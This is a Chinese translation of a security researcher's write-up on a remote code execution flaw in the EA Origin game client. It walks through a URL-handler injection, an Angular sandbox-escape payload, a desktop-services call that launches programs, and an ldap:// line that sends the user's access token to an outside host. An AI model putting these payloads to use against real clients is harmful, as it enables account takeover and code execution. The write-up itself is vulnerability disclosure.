文章来源:https://zeropwn.github.io/2019-05-13-xss-to-rce/
你们可能都听说过EA Origin客户端最近爆出的远程代码执行漏洞,这个漏洞是我和我的好基友(@Daley)在四月中旬一起发现的。这篇文章我将继续讨论该漏洞以及挖掘出的其他漏洞。
通过QtWebEngine(基于Chromium内核的浏览器框架)调试可以发现大部分问题。传递特殊标识符到Origin核心进程,我可以将Chrome
DevTools与该进程挂钩,可视化web视图。同时为了实现远程调试,我开启了Chrome
DevTools端口转发功能,开启步骤:打开Chrome DevTools(浏览器输入:chrome://inspect
),打开远程设备视图,按具体要求填写后开启端口转发。
打开Origin,获取进程:
Origin.exe --remote-debugging-port=31337
在Chrome上访问localhost:31337
,可以以开发者工具视图调试该进程。
黑客通过URL展开攻击早就不是新鲜事了。在很长一段时间里,这是对远程计算机发放payload和执行代码的绝佳方式。只需访问某个网页就可以实现远程执行命令,APT威胁者非常喜欢这种攻击方式。
程序自定义的URL处理器一般是为了方便访问。比如说Origin的URL处理器主要方便用户通过web浏览器启用或购买游戏。当用户点击这些链接,Origin客户端就会通过特制的URL实现参数启动。
Origin URL提供了很多URL可选项。例如要运行某个游戏,只需打开下面这个URL。URL中包含参数。我们在这里发现第一个漏洞。
origin://game/launch/?offerIds=OFFERID
Origin如果收到的参数内容为无效游戏ID,它会提示你可以手动将其导入游戏库。在弹出的对话框中可以看到"title"即为该游戏的名称。那么问题来了,如果这个游戏ID Origin无法识别,那会发生什么?这也就是参数"title"的神奇之处。
我们可以篡改"title"值:
origin://game/launch/?offerIds=0&title=zer0pwn
当初我在测试时猜想可能存在HTML注入,或许可以导致XSS。使用以下链接:
origin://game/launch/?offerIds=0&title=<h1>zer0pwn
结果显示存在HTML注入。我开始觉得可以注入脚本标签来执行JavaScript,但并非如此。经深入发掘,我发现Origin前端框架是由Angular开发的。众所周知,Angular有许多模版的东西,于是我开始测试目标是否存在模版注入漏洞。使用payload {{7*7}}
,结果为49,证实存在模版注入。
origin://game/launch/?offerIds=0&title={{7*7}}
我们发现的是客户端模版注入,被限制只能在客户端执行。接下来我开始测试能够通过它执行JavaScript,从而窃取用户会话。
Angular有一个沙盒策略,因此我们得用一些时髦货来执行目标脚本。网上搜寻一番后,我找到了有关其沙盒逃逸的研究结果。
把下面这个payload放入title中,可以实现弹窗。
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(l),a')}}
这部分的漏洞有些简单。QDesktopServices本身是不存在漏洞的,是Origin本身的问题。我找到了远程代码执行的方法。
阅读Qt文档,"QDesktopServices类提供了链接桌面服务的方法。桌面环境允许应用执行某些任务,例如以环境用户的默认浏览器打开一个网页"。
我发现了Origin暴露在外部的一个SDK接口,通过它使用JavaScript语句可以与QDesktopService通信。
访问DOM中的Origin.client.desktopServices
,我发现了下面这些函数:
: function asyncOpenUrl() : function asyncOpenUrlWithEADPSSO() : function deminiaturize() : function flashIcon() : function formatBytes() : function getVolumeDiskSpace() : function isMiniaturized() : function miniaturize() : function moveWindowToForeground() : function setNextWindowUUID() : function showWindow()
有些函数非常有意思,例如flashIcon()
,调用它后你会发现Origin图标开始闪动。大部分函数都是只能攻击应用本身,所以我不打算使用它们。
后来我们发现了asyncOpenUrl()
函数。这个函数作用是调用QDesktopService的OpenUrl
函数,被调用的函数会打开浏览器。OpenUrl
函数可以打开注册了特定URL的应用(一般是浏览器),根据文档说明,使用该函数还可以加载某些资源。这听起来很有趣 ; )
然后我制作了下面这个JavaScript payload代码,成功弹出计算器:
Origin.client.desktopServices.asyncOpenUrl("calc.exe")
我前面已经提到过Origin存在一个CSP策略,使得提取数据更加困难。但我后来发现使用ldap://
访问协议发送LDAP请求结合asyncOpenUrl()
函数可以提取出想要的数据。
"ldap://safe.tld/o="+Origin.user.accessToken()+",c=UnderDog"
在服务器上开启tcpdump,设置过滤则可以看到以明文形式传递的数据。
此外Origin.user
对象还包含其他函数:
: function accessToken() : function country() : function dob() : function email() : function emailStatus() : function globalEmailSignup() : function isAccessTokenExpired() : function originId() : function personaId() : function registrationDate() : function sessionGUID() : function showPersona() : function tfaSignup() : function underAge() : function userGUID() : function userPid() : userStatus()
这里我就不一一赘述这些函数的功能了,有兴趣自行实验。
电子艺术家已经推出了相关补丁,但我在推特上仍看到很多bypass的方法。补丁是失败的,这篇文章再次警示需要彻底清理用户的各种类型的输入。
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.